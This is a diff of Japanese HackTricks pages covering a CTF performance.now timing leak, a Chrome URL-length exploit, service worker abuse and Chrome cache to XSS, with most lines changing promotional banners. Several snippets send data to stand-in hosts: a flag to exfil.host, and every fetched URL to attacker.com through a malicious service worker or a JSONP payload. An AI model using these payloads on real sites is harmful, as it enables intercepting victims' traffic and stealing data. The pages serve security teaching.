* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# performance.nowの例
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で**私をフォロー**してください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)**から取得した例
|
||||
**例は[https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)から取得しました**
|
||||
```javascript
|
||||
const sleep = (ms) => new Promise((res) => setTimeout(res, ms));
|
||||
|
||||
|
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するためにPRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# URL Max Length - クライアントサイド
|
||||
# URL Max Length - Client Side
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Code from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)からのコード
|
||||
```html
|
||||
<html>
|
||||
<body></body>
|
||||
|
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
|
|||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>からAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたい**、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つけてください
|
||||
* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,21 @@
|
|||
# Service Workersの悪用
|
||||
# サービスワーカーの悪用
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセス**したいですか、または**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に**参加**するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために** [**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -22,31 +27,32 @@
|
|||
|
||||
## 基本情報
|
||||
|
||||
**サービスワーカー**は、ブラウザがバックグラウンドで実行するスクリプトであり、Webページやユーザーの操作を必要としない機能を可能にし、**オフラインおよびバックグラウンド処理**の機能を強化します。サービスワーカーの詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で見つけることができます。脆弱なWebドメイン内のサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページとの被害者のやり取りを制御することができます。
|
||||
**サービスワーカー**は、ブラウザによってバックグラウンドで実行されるスクリプトで、任意のウェブページとは別に動作し、ウェブページやユーザーの操作を必要としない機能を有効にし、**オフラインおよびバックグラウンド処理**の能力を向上させます。サービスワーカーに関する詳細情報は[こちら](https://developers.google.com/web/fundamentals/primers/service-workers)で確認できます。脆弱なウェブドメイン内でサービスワーカーを悪用することで、攻撃者はそのドメイン内のすべてのページに対する被害者の操作を制御することができます。
|
||||
|
||||
|
||||
### 既存のサービスワーカーの確認
|
||||
|
||||
既存のサービスワーカーは、**開発者ツール**の**アプリケーション**タブの**サービスワーカー**セクションで確認できます。別の方法として、より詳細なビューを得るために[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を訪れることができます。
|
||||
既存のサービスワーカーは、**開発者ツール**の**アプリケーション**タブの**サービスワーカー**セクションで確認できます。別の方法として、[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)を訪れることで、より詳細なビューを得ることができます。
|
||||
|
||||
### プッシュ通知
|
||||
|
||||
**プッシュ通知の許可**は、**サービスワーカー**が直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。許可が拒否されると、サービスワーカーの潜在能力が制限され、継続的な脅威をもたらす可能性があります。逆に、許可を与えることで、潜在的な脆弱性の受信と実行を可能にすることでセキュリティリスクが増加します。
|
||||
**プッシュ通知の権限**は、**サービスワーカー**が直接ユーザーの操作なしにサーバーと通信する能力に直接影響します。権限が拒否されると、サービスワーカーが継続的な脅威をもたらす可能性が制限されます。逆に、権限を付与すると、潜在的なエクスプロイトの受信と実行を可能にすることでセキュリティリスクが増加します。
|
||||
|
||||
## サービスワーカーを作成する攻撃
|
||||
|
||||
この脆弱性を悪用するには、次のものを見つける必要があります:
|
||||
|
||||
* **任意のJSファイルをサーバーにアップロードする方法**と、アップロードされたJSファイルの**サービスワーカーをロードするXSS**
|
||||
* **出力を操作できる脆弱なJSONPリクエスト**と、**任意のJSコードで出力を操作**できる**脆弱なJSONP**に**ペイロードをロードするXSS**と、**悪意のあるサービスワーカーをロード**するための**ペイロード**
|
||||
* サーバーに**任意のJS**ファイルを**アップロード**する方法と、アップロードしたJSファイルの**サービスワーカーを読み込むためのXSS**
|
||||
* **出力を操作できる**(任意のJSコードを使用)**脆弱なJSONPリクエスト**と、**ペイロードを持つJSONPを読み込むためのXSS**が必要です。これにより、**悪意のあるサービスワーカーを読み込む**ことができます。
|
||||
|
||||
以下の例では、`fetch`イベントをリッスンし、**取得されたすべてのURLを攻撃者のサーバーに送信する新しいサービスワーカーを登録**するコードを示します:
|
||||
次の例では、`fetch`イベントをリッスンし、**攻撃者のサーバーに各取得URLを送信する**新しいサービスワーカーを**登録するためのコード**を示します(これは**サーバー**に**アップロード**するか、**脆弱なJSONP**レスポンスを介して読み込む必要があるコードです):
|
||||
```javascript
|
||||
self.addEventListener('fetch', function(e) {
|
||||
e.respondWith(caches.match(e.request).then(function(response) {
|
||||
fetch('https://attacker.com/fetch_url/' + e.request.url)
|
||||
});
|
||||
```
|
||||
そして、これが**ワーカーを登録**するコードです(**XSS**を悪用して実行できるはずのコード)。この場合、**攻撃者**のサーバーに**GET**リクエストが送信され、サービスワーカーの**登録**が成功したかどうかが**通知**されます:
|
||||
そして、これは**ワーカーを登録する**ためのコードです(**XSS**を悪用して実行できるはずのコードです)。この場合、**攻撃者**のサーバーに**登録**が成功したかどうかを**通知する**ための**GET**リクエストが送信されます:
|
||||
```javascript
|
||||
<script>
|
||||
window.addEventListener('load', function() {
|
||||
|
@ -64,21 +70,21 @@ xhttp2.send();
|
|||
});
|
||||
</script>
|
||||
```
|
||||
脆弱なJSONPエンドポイントを悪用する場合は、値を`var sw`の内部に配置する必要があります。例:
|
||||
JSONPエンドポイントの脆弱性を悪用する場合は、値を `var sw` の中に入れる必要があります。例えば:
|
||||
```javascript
|
||||
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
|
||||
```
|
||||
**Service Worker (SW)** の悪用に特化した **C2** があり、[**Shadow Workers**](https://shadow-workers.github.io) と呼ばれており、これらの脆弱性を悪用するのに非常に役立ちます。
|
||||
There is a **C2** dedicated to the **exploitation of Service Workers** called [**Shadow Workers**](https://shadow-workers.github.io) that will be very useful to abuse these vulnerabilities.
|
||||
|
||||
**24時間キャッシュディレクティブ** は、XSSの脆弱性が修正された後、オンラインクライアントの状態を前提として、悪意のあるまたは侵害された **service worker (SW)** の寿命を最大で24時間に制限します。脆弱性を最小限に抑えるために、サイトの運営者は SW スクリプトの Time-To-Live (TTL) を下げることができます。開発者はまた、迅速な無効化のために [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) を作成することが推奨されています。
|
||||
The **24-hour cache directive** limits the life of a malicious or compromised **service worker (SW)** to at most 24 hours after an XSS vulnerability fix, assuming online client status. To minimize vulnerability, site operators can lower the SW script's Time-To-Live (TTL). Developers are also advised to create a [**service worker kill-switch**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776) for rapid deactivation.
|
||||
|
||||
## DOM Clobbering を介した SW での `importScripts` の悪用
|
||||
## Abusing `importScripts` in a SW via DOM Clobbering
|
||||
|
||||
Service Worker から呼び出される **`importScripts`** 関数は、**異なるドメインからスクリプトをインポート** することができます。この関数が **攻撃者が変更できるパラメータ** を使用して呼び出された場合、彼は **自身のドメインから JS スクリプトをインポート** し、XSS を取得することができます。
|
||||
The function **`importScripts`** called from a Service Worker can **import a script from a different domain**. If this function is called using a **parameter that an attacker could** modify he would be able to **import a JS script from his domain** and get XSS.
|
||||
|
||||
**これは CSP の保護をバイパスします。**
|
||||
**This even bypasses CSP protections.**
|
||||
|
||||
**脆弱なコードの例:**
|
||||
**Example vulnerable code:**
|
||||
|
||||
* **index.html**
|
||||
```html
|
||||
|
@ -94,17 +100,17 @@ let host = searchParams.get('host');
|
|||
self.importScripts(host + "/sw_extra.js");
|
||||
//host can be controllable by an attacker
|
||||
```
|
||||
### DOM Clobberingを使用する
|
||||
### DOMクラッキングを使用して
|
||||
|
||||
DOM Clobberingについての詳細は、以下を参照してください:
|
||||
DOMクラッキングが何であるかの詳細については、以下を確認してください:
|
||||
|
||||
{% content-ref url="dom-clobbering.md" %}
|
||||
[dom-clobbering.md](dom-clobbering.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にある**場合、DOM Clobberingを使用してそれを変更し、SWが**自分自身のドメインからスクリプトを読み込むように**することが可能です。
|
||||
SWが**`importScripts`**を呼び出すために使用しているURL/ドメインが**HTML要素内にある場合**、それを**DOMクラッキングを介して変更することが可能**であり、SWが**自分のドメインからスクリプトを読み込む**ようにできます。
|
||||
|
||||
これの例については、参照リンクを確認してください。
|
||||
この例については、参照リンクを確認してください。
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
@ -116,14 +122,17 @@ SWが**`importScripts`**を呼び出すURL/ドメインが**HTML要素内にあ
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong></summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセス**したいですか?または、**HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけます
|
||||
* [**公式PEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れます
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,50 +1,55 @@
|
|||
# Chrome Cache to XSS
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>ゼロからヒーローまでのAWSハッキングを学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を手に入れましょう
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discordグループ**に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **ハッキングトリックを共有するために、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
より詳細な詳細は[**この解説**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote)をご覧ください。
|
||||
More in depth details [**in this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-spanote).
|
||||
|
||||
ここで議論されている技術は、2つの主要なキャッシュタイプ、**バック/フォワードキャッシュ(bfcache)**と**ディスクキャッシュ**の動作と相互作用を理解することに関わります。 bfcacheは、JavaScriptヒープを含むページの完全なスナップショットを保存し、より包括的なスナップショットを保存できるため、バック/フォワードナビゲーションにおいてディスクキャッシュよりも優先されます。一方、ディスクキャッシュは、JavaScriptヒープを含まないWebから取得したリソースを保存し、通信コストを削減するためにバック/フォワードナビゲーションに使用されます。ディスクキャッシュの興味深い側面は、`fetch`を使用して取得されたリソースが含まれていることであり、アクセスされたURLリソースはブラウザによってキャッシュからレンダリングされます。
|
||||
ここで議論されている技術は、2つの主要なキャッシュタイプ、**バック/フォワードキャッシュ (bfcache)** と **ディスクキャッシュ** の動作と相互作用を理解することを含みます。bfcacheは、JavaScriptヒープを含むページの完全なスナップショットを保存し、より包括的なスナップショットを保存できるため、バック/フォワードナビゲーションの際にディスクキャッシュよりも優先されます。一方、ディスクキャッシュは、JavaScriptヒープを含まずにウェブから取得したリソースを保存し、通信コストを削減するためにバック/フォワードナビゲーションに利用されます。ディスクキャッシュの興味深い点は、`fetch`を使用して取得したリソースが含まれていることであり、つまりアクセスされたURLリソースはブラウザによってキャッシュからレンダリングされます。
|
||||
|
||||
### 主なポイント:
|
||||
### Key Points:
|
||||
|
||||
- **bfcache**はバック/フォワードナビゲーションにおいてディスクキャッシュよりも優先されます。
|
||||
- bfcacheを無効にするには、後者を無効にする必要があります。
|
||||
- bfcacheの代わりにディスクキャッシュに保存されたページを利用するには、bfcacheを無効にする必要があります。
|
||||
|
||||
### bfcacheの無効化:
|
||||
### Disabling bfcache:
|
||||
|
||||
デフォルトでは、Puppeteerはbfcacheを無効にします。これは、Chromiumのドキュメントに記載されている条件と一致しています。bfcacheを無効にする効果的な方法の1つは、`RelatedActiveContentsExist`を使用することです。これは、`window.opener`への参照を保持する`window.open()`でページを開くことで実現されます。
|
||||
デフォルトでは、Puppeteerはbfcacheを無効にし、Chromiumのドキュメントに記載された条件に沿っています。bfcacheを無効にする効果的な方法の1つは、`window.open()`を使用して`window.opener`への参照を保持するページを開くことによって、`RelatedActiveContentsExist`を利用することです。
|
||||
|
||||
### 動作の再現:
|
||||
### Reproducing the behavior:
|
||||
|
||||
1. ウェブページ、例えば `https://example.com` にアクセスします。
|
||||
2. `open("http://spanote.seccon.games:3000/api/token")` を実行し、500のステータスコードでサーバーレスポンスが返されます。
|
||||
3. 新しく開いたタブで `http://spanote.seccon.games:3000/` に移動します。このアクションにより、`http://spanote.seccon.games:3000/api/token` のレスポンスがディスクキャッシュとしてキャッシュされます。
|
||||
